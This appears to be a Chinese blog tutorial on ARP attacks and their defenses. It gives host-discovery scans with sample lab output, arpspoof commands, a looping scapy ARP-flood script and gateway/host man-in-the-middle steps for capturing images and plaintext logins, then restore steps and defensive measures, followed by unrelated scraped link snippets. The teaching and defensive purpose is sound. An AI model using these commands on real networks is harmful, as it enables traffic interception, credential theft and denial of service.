常见APR攻击及其防护
0x01 什么是ARP
地址解析协议——ARP;是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
0x02 交换机数据转发原理
交换机收到数据帧的时候,先解封装数据链路层,查看这一层的源MAC地址,并且关联自己接收数据的这个接口,把关联MAC地址和接口的信息更新到MAC地址表里面查看这一层的目标MAC地址,然后查询MAC地址表,根据目标MAC对应的接口将这个数据转发出去
如果这个时候,MAC地址表是空的/丢弃?广播-将这个数据帧进行复制,然后向各个接口转发出去
0x03 探测局域网中存活主机
3.1 执行扫描
3.2.1 arp-san扫描
主网络接口的信息扫描本地
arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fa:ac:f0, IPv4: 192.168.47.203
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.40 2c:fe:4f:a8:52:a8 (Unknown)
192.168.47.183 e0:d0:45:66:a7:b5 Intel Corporate
192.168.47.241 00:0c:29:97:a9:7c VMware, Inc.
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.229 seconds (114.85 hosts/sec). 3 responded
扫描子网指定要使用的接口和自定义源MAC地址
arp-scan -I eth0 --srcaddr=mac地址 192.168.47.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fa:ac:f0, IPv4: 192.168.47.203
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.40 2c:fe:4f:a8:52:a8 (Unknown)
192.168.47.183 mac Intel Corporate
192.168.47.241 00:0c:29:97:a9:7c VMware, Inc.
7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.234 seconds (114.59 hosts/sec). 3 responded
3.2.2 namp扫描
nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
-sU: 表示执行UDP扫描。
--script nbstat.nse: 指定运行名为 nbstat.nse 的Lua脚本。这个脚本通常用于获取目标主机的NetBIOS信息。
-p137: 扫描端口137。这个端口通常用于NetBIOS名称服务。
192.168.1.0/24: 指定要扫描的目标IP地址范围,这里是192.168.1.0网段下的所有主机。
-T4: 设置扫描技术为“狂野”模式,这会让扫描速度更快但可能会触发更多的IDS/IPS报警。
特别针对ARP协议来探测局域网内哪些主机是活跃的使用 -PR 参数发送ARP请求:
nmap -sn -PR 192.168.1.0/24
-PR: 使用ARP ping(仅限于本地网络)。
ARP请求只能在同一物理网络(广播域)中使用,因此它不能穿越路由器。如果你需要跨网段探测主机,你需要使用其他方法
扫描结果
nmap -sU --script nbstat.nse -p137 192.168..0/24 -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 04:06 EDT
Nmap scan report for 192.168.47.40
Host is up (0.0042s latency).
PORT STATE SERVICE
137/udp closed netbios-ns
MAC Address: 2C:FE:4F:A8:52:A8 (Unknown)
Nmap scan report for 192.168.47.183
Host is up (0.00053s latency).
PORT STATE SERVICE
137/udp open|filtered netbios-ns
MAC Address: E0:D0:45:66:A7:B5 (Intel Corporate)
Nmap scan report for 192.168.47.241
Host is up (0.0014s latency).
PORT STATE SERVICE
137/udp open netbios-ns
MAC Address: 00:0C:29:97:A9:7C (VMware)
Host script results:
| nbstat: NetBIOS name: WIN-SJDPHJOO12L, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:97:a9:7c (VMware)
| Names:
| WIN-SJDPHJOO12L<00> Flags: <unique><active>
| WIN-SJDPHJOO12L<20> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1e> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
Nmap scan report for 192.168.47.203
Host is up (0.000064s latency).
PORT STATE SERVICE
137/udp closed netbios-ns
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.01 seconds
3.2.3 ettercap探测
ettercap -G 启动图形化界面
3.2得到存活主机
192.168.47.183
192.168.47.241
192.168.47.203
0x04:常见ARP攻击类型
4.1arp泛洪攻击
搭建实验网络
- 在攻击机和目标机之间建立网络连接,确保它们在同一个子网中。
- 确保交换机或虚拟交换机工作正常。
获取网络信息
- 在攻击机上使用
ifconfig
或ip a
命令查看自己的IP和MAC地址。 - 使用
arp -a
命令查看当前ARP缓存中的内容。
使用ARP泛洪工具
1. 使用arpspoof
工具:
安装工具(如果未安装):
sudo apt-get install dsniff
执行ARP泛洪命令:
sudo arpspoof -i eth0 -t <目标IP> <网关IP>
-i eth0:指定网卡接口。
-t <目标IP>:目标主机的IP地址。
<网关IP>:网关的IP地址。
此命令将向目标主机发送大量的伪造ARP应答包,导致ARP缓存中毒。
2. 使用scapy
脚本:
创建一个简单的ARP泛洪脚本:
pythonCopy codefrom scapy.all import *
def flood_arp(target_ip, gateway_ip):
packet = ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff")
while True:
send(packet, verbose=False)
target_ip = "目标IP地址"
gateway_ip = "网关IP地址"
flood_arp(target_ip, gateway_ip)
执行脚本,将目标IP和网关IP替换为实验中的实际地址。
4.2 ARP欺骗(中间人攻击)
地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。
4.2.1 主机欺骗
欺骗主机可以获取主机的流量,并且对其监控
攻击:kali(aprapoof)
靶机:win7
先看一下靶机和网关的mac地址
测试网络连通性
接下来利用arpspoof工具,对主机A进行ARP欺骗攻击,从而靶机会造成断网现象。
arpspoof -i eth1 -t 192.168.196.141 192.168.196.2
靶机上查看ARP表,网关对应的MAC地址变成kali的MAC地址
ARP欺骗的主要目的是让目标主机靶机的流量先经过攻击主机kali的网卡,再从网关出去,而网关也会把原本流入目标靶机的流量经过攻击主机kali。在进行ARP欺骗之前,我们要先开启攻击主机kali的IP转发功能,如果不开启的话,我们攻击之后先会使目标靶机断网,而不是欺骗。通过以下命令开启并开始进行ARP欺骗攻击。
启用端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward
此时在攻击主机kali上就可以利用图片嗅探工具driftnet来捕获目标靶机在上网过程中查看的图片。因为靶机在上网过程中的流量都需要先经过攻击主机kali。
eth0监听:
driftnet -i eth0
读取指定pcap数据包:
driftnet -f /home/tmp/tmp.pcapng -a -d /tmp/
还原靶机正常的网关
arp -d
清楚缓存重新自动获取mac
4.2.2 网关欺骗
欺骗网关可以获得其他主机的流量
启动端口转发
临时端口转发
sysctl -w net.ipv4.ip_forward=1
或者
echo 1 > /proc/sys/net/ipv4/ip_forward
永久端口转发
编辑/etc/sysctl.conf文件:
sudo nano /etc/sysctl.conf
找到并修改或添加以下行:
net.ipv4.ip_forward = 1
保存并退出编辑器,然后应用更改:
sudo sysctl -p
验证IP转发是否启用
验证设置是否生效:
sysctl net.ipv4.ip_forward
输出为 net.ipv4.ip_forward = 1
表示IP转发已启用。
# 第一条命令欺骗网关
arpspoof -i eth0 -t 192.168.1.1 192.168.1.10
# 第二条命令欺骗受害者
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
在攻击者机器上使用Wireshark捕获网络流量,以验证受害者和网关之间的通信是否被成功拦截。
打开Wireshark,选择攻击者的网络接口(如eth0
)。
设置过滤器,ip.addr == ip
开始捕获,并检查是否可以看到受害者和网关之间的通信。
分析敏感数据,如明文HTTP流量或未加密的登录信息。
4.3 拒绝服务攻击:
拒绝服务攻击是一种攻击类型,其中一个或多个受害者无法访问网络。借助ARP欺骗,单个目标受害者的MAC地址被链接到多个IP地址。因此,所有流量都会转向目标受害者的MAC地址,导致目标受害者的网络因流量过载而瘫痪。(DOS)
4.4 ARP重放攻击:
攻击者捕获网络中的ARP响应包,并将其重新发送出去,以此来欺骗其他计算机,使其认为攻击者的MAC地址是合法的,从而将数据发送到错误的MAC地址。
实验结束后,通过停止ARP欺骗和刷新ARP缓存来恢复网络状态。
0x05 恢复网络状态
停止 arpspoof
进程:
pkill arpspoof
刷新攻击者和受害者机器上的ARP缓存:
在Linux上:
ip -s -s neigh flush all
在Windows上:
arp -d *
0x06 安全防护措施
6.1 静态ARP表
在关键设备上设置静态ARP表,防止ARP缓存被篡改。
6.2 ARP检测工具
使用ARP防护软件或启用交换机的ARP检测功能来监控异常ARP行为。
6.3 加密通信
使用HTTPS、VPN等方式加密通信,防止流量被篡改或窃听。
6.4 定期监控和分析网络流量
使用网络监控工具(如Wireshark、Zeek、Snort)定期检查网络流量,检测异常的ARP请求和响应。
设置ARP流量的监控报警,提示不一致的IP-MAC绑定情况。
分析网络流量图表,检测可疑的重复ARP广播。
6.5 安装ARP防护软件
使用ARP防护工具,如ARPWatch、XArp,主动监控网络中的ARP活动,检测和报警ARP欺骗行为。
操作:安装后可设置报警规则和防护模式,根据需求自动阻止可疑ARP流量。
6.6 隔离网络(VLAN)
通过划分虚拟局域网(VLAN),将网络设备隔离在不同的广播域,限制ARP欺骗影响的范围。
- 优点:减少ARP欺骗攻击的传播路径,提高整体网络安全性。
- 实施
- 将用户、服务器和管理设备分配到不同的VLAN。
- 配合ACL(访问控制列表)进一步限制通信。
6.7 使用IPv6
IPv6协议相比IPv4有更强的内置安全机制,如Neighbor Discovery Protocol(NDP)代替ARP,减少ARP欺骗攻击的可能性。
- 限制:需要所有设备支持IPv6,可能涉及复杂的网络升级。
6.8 端口安全与MAC地址绑定
在交换机上配置端口安全性(Port Security),绑定特定端口的MAC地址,拒绝非授权设备的接入。
- 配置方法:在交换机上设置端口的静态MAC地址绑定或使用动态学习功能限制接入。
常见APR攻击及其防护的更多相关文章
- 【CISP笔记】安全攻击与防护
公开信息收集-搜索引擎 快速定位Google 搜索“5sf67.jsp”可以找到存在此脚本的Web网站Google 搜索“teweb/default.htm”就可找到开放着远程Web连接的服务器信息挖 ...
- XSS/CSRF跨站攻击和防护方案
Xss(Cross Site Scripting 跨站脚本攻击)/CSRF(Cross-site request forgery 跨站请求伪造),它与著名的SQL注入攻击类似,都是利用了Web页面的编 ...
- WEB前端常见受攻击方式及解决办法
一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的 ...
- 常见DDoS攻击
导航: 这里将一个案例事项按照流程进行了整合,这样观察起来比较清晰.部分资料来自于Cloudflare 1.DDoS介绍 2.常用DDoS攻击 3.DDoS防护方式以及产品 4.Cloudflare ...
- WEB网站常见受攻击方式及解决办法
一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是 ...
- 简单总结几种常见web攻击手段及其防御方式
web攻击手段有几种,本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 DDOS XSS 概念 全称是跨站脚本攻击(Cross Site Scr ...
- 简单地总结几种常见web攻击手段及其防御方式
web攻击手段有几种,本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 DDOS XSS 概念 全称是跨站脚本攻击(Cross Site Scr ...
- 【转】WEB网站常见受攻击方式及解决办法
一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是 ...
- 常见web攻击总结
搞Web开发离不开安全这个话题,确保网站或者网页应用的安全性,是每个开发人员都应该了解的事.本篇主要简单介绍在Web领域几种常见的攻击手段及Java Web中的预防方式. XSS SQL注入 DDOS ...
- 学习随笔:Django 补充及常见Web攻击 和 ueditor
判断用户是否登录 <!-- xxx.html --> {% if request.user.is_authenticated %} django中的request对象详解 填错表格返回上次 ...
随机推荐
- Odd and Even Zeroes 题解
前言 题目链接:洛谷:UVA. 题目简述 定义 \(\operatorname{count}(num)\) 表示 \(num\) 末尾 \(0\) 的个数.给出 \(n\)(\(n \leq 10^{ ...
- HTTP 常见状态码【5种最最最常见的状态码】
HTTP 常见状态码 一.200 [ok] 一切正常 二.400 [Bad Request] 客户端 出现问题 需要注意:前端传入的参数与后台接收数据时的 参数名 必须保持一致 三.500 [Inte ...
- 瑞芯微 | 摄像头ov13850移植笔记
<1.瑞芯微rk356x板子快速上手> <2.Linux驱动|瑞芯微rtc-hym8563移植笔记> <3.Linux驱动 | Linux内核 RTC时间架构-基于瑞芯微 ...
- Hexo-GitHub部署魔改第一步-config
Hexo-GitHub部署魔改第一步_config.yml 1. config.yml # Hexo Configuration ## Docs: https://hexo.io/docs/confi ...
- C++11新特性(二):语言特性
C++11新特性 nullptr空指针 nullptr空指针的使用可以规避掉以往设置为NULL的风险.NULL在编译器中常常被设置为0或者其它数字,此时判断指针是否为NULL,即判断指针类型是否能够等 ...
- java_String方法大全
1 String a = "abcdefg"; 2 3 String a = new String(); 4 String a = new String("abcdefg ...
- 聊一聊 C# 中让人惶恐的 Bitmap
一:背景 1. 讲故事 在.NET高级调试的旅程中,我常常会与 Bitmap 短兵相接,它最大的一个危害就是会让程序抛出匪夷所思的 OutOfMemoryException,也常常会让一些.NET开发 ...
- Consider defining a bean of type 'xxxxxx' in your configuration.
解决: 在Application类上新增@EnableConfigurationProperties({ xxxxxx.class})
- FirewallD, iptables, Docker
firewalld 是之前 iptables 的前端.命令更好用 FirewallD 将配置储存在 /usr/lib/firewalld/ 和 /etc/firewalld/ 中的各种 XML 文件 ...
- Gaussdb: CN修复失败对openssl版本依赖问题处理
1.问题背景 GaussDB轻量化分布式集群安装完成后,进行openssh和openssl升级,现有环境openssh-8.2p1-9.p03.ky10.x86_64和openssl-1.1.1f-2 ...